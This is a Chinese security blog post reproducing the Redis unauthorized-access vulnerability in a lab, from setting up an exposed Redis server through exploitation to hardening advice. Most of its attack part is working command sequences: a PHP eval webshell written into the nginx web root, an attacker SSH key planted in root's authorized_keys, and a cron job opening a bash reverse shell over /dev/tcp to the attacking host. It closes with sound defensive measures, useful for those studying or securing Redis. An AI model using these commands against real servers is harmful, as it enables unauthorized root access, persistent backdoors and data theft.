redis未授权访问漏洞复现(包括环境搭建)

一、redis 介绍

1.1 漏洞简介

        Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。  
        redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下,利用Redis自身提供的config命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的/root/.ssh/authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

1.2 产生条件

1、redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源IP访问等相关安全策略,直接暴露在公网
2、没有设置密码认证(一般为空),可以免密码远程登陆redis服务

1.3 漏洞危害

1、攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall 来清空所有数据,造成业务影响。
2、攻击者可通过EVAL执行lua代码,或者通过数据备份功能往磁盘写入后门文件。
3、最严重的情况,如果redis以root身份运行,黑客可以给root账户写入ssh公钥文件,直接通过ssh 登录受害者服务器,从而进行其他操作。

1.4 redis 常用命令

config set dir /home.test  ##设置工作目录
config set dbfilename redis.rdb  #设置备份文件名
config get dir   ##检查工作目录是否设置成功
config get dbfilename ##检查备份文件名是否设置成功
save   ##保存,进行一次备份操作

二、复现环境

主机名 IP地址 备注
kali 192.168.101.200 kali 攻击机
Linux 192.168.1010.201 redis服务 LNMP服务

三、redis安装

3.1 安装编译依赖包

yum -y install gcc* tcl tcl-devel
yum -y install make

3.2 下载redis 软件包

wget http://download.redis.io/releases/redis-6.2.4.tar.gz

3.3 编译安装redis

tar xzf redis-6.2.4.tar.gz
cd redis-6.2.4/src
make
make install PREFIX=/usr/local/redis

3.4 常用命令

安装完成后,在/usr/local/bin下面可以看到redis提供的5个命令工具,现简单介绍如下


redis-server:Redis服务器的daemon启动程序
redis-cli:Redis命令行操作工具。也可以用telnet根据其纯文本协议来操作
redis-benchmark:Redis性能测试工具,测试Redis在当前系统下的读写性能
redis-check-aof:数据修复
redis-check-dump:检查导出工具

3.5 修改配置文件

在源码包的根目录下面有一个默认的redis.conf文件,将其拷贝到系统的/etc目录下面
cp redis.conf /etc
vim /etc/redis.conf

#bind 127.0.0.1
protected-mode no
daemonize no
3.6 进程的启动与关闭
3.6.1 启动redis服务
/usr/local/redis/bin/redis-server /etc/redis.conf
3.6.2 将此启动脚本加入到/etc/rc.local,让其开机自启动
echo "/usr/local/bin/redis-server /etc/redis.conf " >> /etc/rc.local
3.6.3 关闭
redis-cli shutdown

3.7 备注

redis刚安装好时只能通过本地localhost (127.0.0.1)访问,而不能用其他网络ip区访问,如果没有配置好redis.conf使用网络ip访问redis会报以下的错误:
(error) DENIED Redis is running in protected mode because protected mode is enabled, no bind address was specified, no authentication password is requested to clients. In this mode connections are only accepted from the lookback interface. If you want to connect from external computers to Redis you may adopt one of the following solutions: 1) Just disable protected mode sending the command 'CONFIG SET protected-mode no' from the loopback interface by connecting to Redis from the same host the server is running, however MAKE SURE Redis is not publicly accessible from internet if you do so. Use CONFIG REWRITE to make this change permanent. 2) Alternatively you can just disable the protected mode by editing the Redis configuration file, and setting the protected mode option to 'no', and then restarting the server. 3) If you started the server manually just for testing, restart it with the --portected-mode no option. 4) Setup a bind address or an authentication password. NOTE: You only need to do one of the above things in order for the server to start accepting connections from the outside.
出现这个错误说明redis处于保护模式,只能本地访问,我们需要修改配置文件redis.conf配置文件。
1)打开配置文件把下面对应的注释掉(或者可以针对自己的ip进行bind)
# bind 127.0.0.1
2)Redis默认不是以守护进程的方式运行,可以通过该配置项修改,使用yes启用守护进程,设置为no
daemonize no
3)保护模式
protected-mode no
4)重新启动配置文件才会生效:
redis-server redis.conf(在redis.conf文件目录下执行)
5)关闭防火墙
systemctl stop ebtables firewalld

四、写入webshell

1、查看phpinfo获取绝对路径
2、连接redis服务
redis-cli -h 192.168.101.201 -p6379
3、利用绝对路径写webshell
┌──(root㉿kali)-[~]
└─# redis-cli -h 192.168.101.201 -p 6379
192.168.101.201:6379> CONFIG SET dir /usr/share/nginx/html/
OK
192.168.101.201:6379> CONFIG SET dbfilename redis.php
OK
192.168.101.201:6379> SEt x "<?php @eval($_POST[cc]);?>"
OK
192.168.101.201:6379> save
ok
192.168.101.201:6379>          
                
4、菜刀或中国一集按连接webshell
五、利用公私钥认证获取服务器root权限
当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。
5.1 在kali 192.168.101.201中生成公钥和私钥
┌──(root?kali)-[~]
└─# ssh-keygen -t rsa       
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:UgzhkW5gHV1pcx/k4SbgkgEHNr452PITGkjjsqWje9M root@kali
The key's randomart image is:
+---[RSA 3072]----+
|     .XBo.o. .o  |
|    o+o*.++..o.. |
|  o. oo =..o..+. |
| o o oo+ .   o.  |
|. + +.B S        |
| =   = +         |
|+  .. o          |
|..o E  .         |
|oo .             |
+----[SHA256]-----+
5.2 进入.ssh目录:cd /root/.ssh/,将生成的公钥保存到test.txt
┌──(root?kali)-[~/.ssh]
└─#  (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
                                                                                         
┌──(root?kali)-[~/.ssh]
└─#
5.3 连接接靶机上的redis服务,将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入)
┌──(root㉿kali)-[~/.ssh]
└─# cat test.txt |  redis-cli -h 192.168.101.201 -x set crack
OK
                                                                                         
┌──(root㉿kali)-[~/.ssh] set x "\n\ id_rsa.pub \n\n"
5.4 远程登录靶机的redis服务,使用config get dir命令得到redis备份的路径
┌──(root㉿kali)-[~/.ssh]
└─# redis-cli -h 192.168.101.201                             
192.168.101.201:6379> CONFIG GET dir   
1) "dir"
2) "/root/redis-5.0.7/src"
192.168.101.201:6379> CONFIG SET dir /root/.ssh/   ##设置上传公钥的备份文件名字为authorized_keys
OK
192.168.101.201:6379> config get dir    #更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)
1) "dir"
2) "/root/.ssh"
192.168.101.201:6379> CONFIG SET dbfilename "authorized_keys"  ##检查是否更改成功(查看有没有文件),没有问题就保存退出
OK
192.168.101.201:6379> CONFIG GET dbfilename   
1) "dbfilename"
2) "authorized_keys"
192.168.101.201:6379> save
OK
192.168.101.201:6379> quit
                                                                                         
┌──(root㉿kali)-[~/.ssh]
└─# 
5.5 现在可以通过公钥连接了
┌──(root㉿kali)-[~/.ssh]
└─# ssh -i id_rsa root@192.168.101.201
Last login: Sun Jul 31 22:08:53 2022 from 192.168.101.200
[root@note01 ~]# ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.101.201  netmask 255.255.255.0  broadcast 192.168.101.255
        inet6 fe80::79e6:5a08:a97e:4289  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:f5:2e:84  txqueuelen 1000  (Ethernet)
        RX packets 585052  bytes 81930730 (78.1 MiB)
        RX errors 0  dropped 425  overruns 0  frame 0
        TX packets 22221  bytes 2240472 (2.1 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 331  bytes 177585 (173.4 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 331  bytes 177585 (173.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

[root@note01 ~]# 
5.6 查看权限

六、利用crontab反弹shell

6.1 在攻击者服务器(192.1688.101.201)上监听一个端口(未被占用的任意端口)
┌──(root㉿kali)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
6.2 连接redis,写入反弹shell
┌──(root㉿kali)-[~/.ssh]
└─# redis-cli -h 192.168.101.201
192.168.101.201:6379> set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.101.200/4444 0>&1\n\n"  #意思是每隔一分钟,向192.168.1.4的4444端口反弹shell
OK
192.168.101.201:6379> CONFIG SET dir /var/spool/cron/   #设置工作目录
OK
192.168.101.201:6379> CONFIG SET dbfilename root  #设置文件名,当前用户叫啥就得命名为啥,当前用户为root
OK
192.168.101.201:6379> save   #保存
OK
192.168.101.201:6379> 



#上面这几行命令的意思就是将 "\\n\\n*/1 * * * * * /bin/bash -i>&/dev/tcp/192.168.1.4/4444 0>&1\\n\\n" 这条命令写入test文件中,并且存放在/var/spool/cron目录下
6.3 过一分钟就可以收到shell了

七、防御措施

1.以低权限运行 Redis 服务
   为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
  $ groupadd -r redis && useradd -r -g redis redis
2.禁止外网访问 Redis
    修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
    bind 127.0.0.1
3.为 Redis 添加密码验证
    修改 redis.conf 文件,添加
    requirepass mypassword
4.在需要对外开放的时候修改默认端口(端口不重复就可以)
    vim /etc/redis.conf   
       port 2344
5.禁止一些高危命令
    修改 redis.conf 文件,添加
    rename-command FLUSHALL “”
    rename-command CONFIG “”
    rename-command EVAL “”
    来禁用远程修改 DB 文件地址
6.配置防火墙策略
 iptables -I INPUT -p TCP –dport 6379 -j DROP
7.保证 authorized_keys 文件的安全
    为了保证安全,您应该阻止其他用户添加新的公钥。
    将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
$ chmod 400 ~/.ssh/authorized_keys
    为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
# chattr +i ~/.ssh/authorized_keys
    然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:
# chattr +i ~/.ssh
    注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

文章版权声明 1、本网站名称:Happy峰安全运营
2、本站永久网址:https://blog.chenjiangfeng.com
3、本站发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
4、本网站的文章部分内容可能来源于网络,仅供大家学习与参考,如有侵权,请联系站长进行删除处理。
5、本站一切资源不代表本站立场,并不代表本站赞同其观点和对其真实性负责。
6、本站一律禁止以任何方式发布或转载任何违法的相关信息,访客发现请向站长举报
7、根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途
© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情图片

    暂无评论内容